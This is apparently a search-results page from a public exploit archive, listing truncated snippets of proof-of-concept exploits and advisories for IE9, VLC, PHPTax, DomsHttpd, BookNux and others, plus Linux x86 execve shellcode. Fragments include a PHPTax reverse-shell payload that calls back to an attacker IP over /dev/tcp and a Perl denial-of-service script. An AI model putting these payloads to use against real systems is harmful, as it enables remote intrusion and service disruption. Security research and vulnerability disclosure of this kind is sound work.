128 matches found
Internet Explorer 9 Memory Corruption PoC Exploit
Internet Explorer version 9.0.8112.16421 Memory Corruption PoC Exploit / settimelimit0; iniset'memorylimit', '300M'; if!fileexists"junk.htm" $string = ""; fileputcontents"junk.htm", $string; print "View the sourcecode of the iframe below right click - view source: \n"; print "\n"; for$i = 0; $i...
Internet Explorer 9 XSS Filter Bypass
Internet Explorer 9 XSS Filter Bypass Discovered by: Jean Pascal Pereira Vendor information: "Internet Explorer formerly Microsoft Internet Explorer and Windows Internet Explorer, commonly abbreviated IE or MSIE is a series of graphical web browsers developed by Microsoft and included as part of...
VLC Player 2.0.3 ReadAV Arbitrary Code Execution
!/usr/bin/perl VLC Player 2.0.3 Vendor URI: http://www.videolan.org/vlc/ Vendor Description: VLC is a free and open source cross-platform multimedia player and framework that plays most multimedia files as well as DVD, Audio CD, VCD, and various streaming protocols. Debug Info: Microsoft R Window...
JPEGsnoop 1.5.2 - WriteAV Crash (PoC)
JPEGsnoop 1.5.2 - WriteAV Crash PoC !/usr/bin/perl JPEGsnoop 1.5.2 Vendor URI: http://sourceforge.net/projects/jpegsnoop/ Vendor Description: JPEGsnoop is a detailed JPEG image decoder and analysis tool. It reports all image metadata and can even help identify if an image has been edited. Debug...
PHPTax 0.8 Remote Code Execution
!/usr/bin/env python PHPtax 0.8 " print "Where payload is http://whatever.com/phptax - path to PHPtax with NO trailing /" sys.exit1 banner target = sys.argv1 reverseip = sys.argv2 reverseport = sys.argv3 payload = '%2Fbin%2Fbash%20%3E%26%20%2Fdev%2Ftcp%2F'+reverseip+'%2F'+reverseport+'%200%3E%261...
PhpTax 0.8 Remote Code Execution
----------------------------------------------------- phptax 0.8 Vendor information: "PhpTax is free software to do your U.S. income taxes. Tested under Unix environment. The program generates .pdfs that can be printed and sent to the IRS. See homepage for details and screenshot." Vendor URI:...
phptax 0.8 - Remote Code Execution
phptax 0.8 - Remote Code Execution ----------------------------------------------------- phptax 0.8 Vendor information: "PhpTax is free software to do your U.S. income taxes. Tested under Unix environment. The program generates .pdfs that can be printed and sent to the IRS. See homepage for detai...
CommPort 1.01 SQL Injection
-------------------------------------------- CommPort 1.01 Vendor information: "A 'Community Portal' generator that can be tailored for any location. Each user gets a personal portal page to which they can add their own 'channels' or select from a growing list of pre-prepared local, national and...
mieric AddressBook 1.0 - SQL Injection
----------------------------------------------------- mieric addressBook 1.0 Vendor information: "MieRic address book is wrote in PERL and holds data via a MYSQL database. Users can add multiple EMAIL, ADDRESS, PHONE, CONTACTS, IMAGE AVATAR and PGP keys as they want. The addressBook is password...
Mozilla Firefox 14.01 Denial Of Service
Description: Mozilla Firefox is prone to a memory exhaustion vulnerability. The issue has been tested on Firefox 14.01, prior versions may also be affected. mozalloc.cpp, line 184: mozxposixmemalignvoid ptr, sizet alignment, sizet size int err = posixmemalignptr, alignment, size; if UNLIKELYerr &...
DomsHttpd 1.0 - Remote Denial of Service
!/usr/bin/perl DomsHttpd 1.0 Usage: domshttpd.pl host port use strict; use warnings; use IO::Socket; my $host = shift || "localhost"; my $port = shift || 88; my $sock = IO::Socket::INET-new Proto = "tcp", PeerAddr = $host, PeerPort = $port ; my $junk = "A"x3047; print $sock "POST /...
DomsHttpd 1.0 - Remote Denial of Service
DomsHttpd 1.0 - Remote Denial of Service !/usr/bin/perl DomsHttpd 1.0 Usage: domshttpd.pl host port use strict; use warnings; use IO::Socket; my $host = shift || "localhost"; my $port = shift || 88; my $sock = IO::Socket::INET-new Proto = "tcp", PeerAddr = $host, PeerPort = $port ; my $junk =...
WaveSurfer 1.8.8p4 <= Memory Corruption PoC
Exploit for windows platform in category dos / poc !/usr/bin/perl WaveSurfer 1.8.8p4 This script creates a crafted WAV file which leads the application to crash DoS. my $crafted = "\x52\x49\x46\x46\x20\x12\x01\x00\x57\x41\x56\x45\x66\x6D\x74\x20"...
BookNux 0.2 <= Multiple Vulnerabilities
BookNux 0.2 = Multiple Vulnerabilities Discovered by: Jean Pascal Pereira [email protected] Vendor information: "Commentics is a free, advanced PHP comment script with many features. Professionally written and with open source code, its main aims are to be integrable, customizable and secure."...
BookNux 0.2 Cross Site Scripting / SQL Injection
BookNux 0.2 Vendor information: "This is an online bookmark manager. It's allow several user, share bookmark private or public. It's use php and mysql." Vendor URI: http://developer.berlios.de/projects/booknux/ Issues: SQL Injection, Cross Site Scripting Risk-level: High...
plow 0.0.5 <= Buffer Overflow Vulnerability
plow 0.0.5 = Buffer Overflow Vulnerability Discovered by: Jean Pascal Pereira [email protected] Vendor information: "plow is a command line playlist generator." Vendor URI: http://developer.berlios.de/projects/plow/ Risk-level: Medium The application is prone to a local buffer overflow...
Plow 0.0.5 Buffer Overflow
plow 0.0.5 Vendor information: "plow is a command line playlist generator." Vendor URI: http://developer.berlios.de/projects/plow/ Risk-level: Medium The application is prone to a local buffer overflow vulnerability. ------------------------------------- IniParser.cpp, line 26: 26: char...
Linux/x86 - execve(/bin/sh) Shellcode (28 bytes)
Linux/x86 - execve/bin/sh Shellcode 28 bytes. Shellcode exploit for Linuxx86 platform / Title: Linux x86 execve"/bin/sh" - 28 bytes Author: Jean Pascal Pereira Web: http://0xffe4.org Disassembly of section .text: 08048060 : 8048060: 31 c0 xor %eax,%eax 8048062: 50 push %eax 8048063: 68 2f 2f 73 6...
CVE-2007-2998
The Pascal run-time library PAS$RTL.EXE before 20070418 on OpenVMS for Integrity Servers 8.3, and PAS$RTL.EXE before 20070419 on OpenVMS Alpha 8.3, does not properly restore PC and PSL values, which allows local users to cause a denial of service system crash via certain Pascal code...
Code injection
The Pascal run-time library PAS$RTL.EXE before 20070418 on OpenVMS for Integrity Servers 8.3, and PAS$RTL.EXE before 20070419 on OpenVMS Alpha 8.3, does not properly restore PC and PSL values, which allows local users to cause a denial of service system crash via certain Pascal code...